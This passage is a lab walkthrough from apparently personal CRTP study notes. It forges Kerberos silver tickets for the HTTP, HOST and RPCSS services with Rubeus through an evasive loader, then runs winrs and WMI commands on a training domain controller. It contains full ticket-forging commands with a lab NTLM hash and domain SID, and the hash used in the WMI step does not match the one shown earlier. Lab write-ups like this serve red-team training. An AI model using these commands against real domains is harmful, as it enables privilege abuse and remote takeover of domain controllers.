> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/crtp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/crtp-notes/readme/lab/9-lo9.md).

# 9 - LO9️

Learning Object 9

## Tasks

1 - Try to get command execution on the domain controller by creating silver ticket for:

* HTTP
* WMI

Flag 18 \[dcorp-dc] - The service whose Silver Ticket can be used for winrs or PowerShell Remoting 🚩

## Solutions

### 1 - Try to get command execution on the domain controller by creating silver ticket for:

Based on the last task we already have the hash for the machine account of the domain controller (dcorp-dc$).&#x20;

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FCLK2nmC5JcAQWwuG6AfE%2Fimage.png?alt=media&amp;token=49911196-f3fb-4203-8245-9e834b8f82fb" alt=""><figcaption></figcaption></figure>

```powershell
RID  : 000003e8 (1000)
User : DCORP-DC$
LM   :
NTLM : e4ce16e20da2e11d2901e0fb8a4f28b0
```

#### HTTP

We can create a Silver Ticket that provides us access to the HTTP service (WinRM) on DC:

```powershell
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-silver /service:http/dcorp-dc.dollarcorp.moneycorp.local /rc4:e4ce16e20da2e11d2901e0fb8a4f28b0 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FhOBxgGB3skWbD17Em94M%2Fimage.png?alt=media&amp;token=9e3ad95e-4219-4053-9c7c-6a4d87516d7a" alt=""><figcaption></figcaption></figure>

We can check if we got the correct service ticket:

```powershell
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args klist
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2F0cnDt2suSabFEX5gGcFU%2Fimage.png?alt=media&amp;token=706a00bb-f145-4320-8b1d-4f1a8c0a4e6e" alt=""><figcaption></figcaption></figure>

And run `klist` or  `C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args klist` we can see it

`http/dcorp-dc.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL`

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FN1eQ3WAWpXZ9Hw6dotGK%2Fimage.png?alt=media&amp;token=b83248f5-ab8d-4f39-94e8-b6d0e437241b" alt=""><figcaption></figcaption></figure>

let's try accessing it using winrs. Note that we are using FQDN of dcorp-dc as that is what the service ticket has:

```powershell
winrs -r:dcorp-dc.dollarcorp.moneycorp.local cmd
set username
set computername
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FczFNR53pD7bvaaMZp6Zh%2Fimage.png?alt=media&amp;token=db4d0865-31c7-4f88-9054-351fe883eeb8" alt=""><figcaption></figcaption></figure>

#### WMI

For accessing WMI, we need to create two tickets: one for HOST service and another for RPCSS.

We can start to run the following commands from an elevated shell:

```powershell
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-silver /service:host/dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-silver /service:rpcss/dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3 /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt
```

Verify that tickets generated are present:

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2Fgrjm12KfgPqbdiWJlBuP%2Fimage.png?alt=media&amp;token=316c62d1-4f58-49d3-b24c-cf8581e0f8b5" alt=""><figcaption></figcaption></figure>

let's try to use WMI commands on the domain controller:

```powershell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc
```

<figure><img src="https://3295003978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0VoFkXlcamRW1EV8XKU7%2Fuploads%2FXFV4epii4ayYRgYtcku8%2Fimage.png?alt=media&amp;token=ff075268-9c1c-4163-88ef-df8f310da449" alt=""><figcaption></figcaption></figure>

### Flag 18 \[dcorp-dc] - The service whose Silver Ticket can be used for winrs or PowerShell Remoting 🚩

As we can see in the previous task the XXXX service can be used for winrs or PowerShell Remoting.
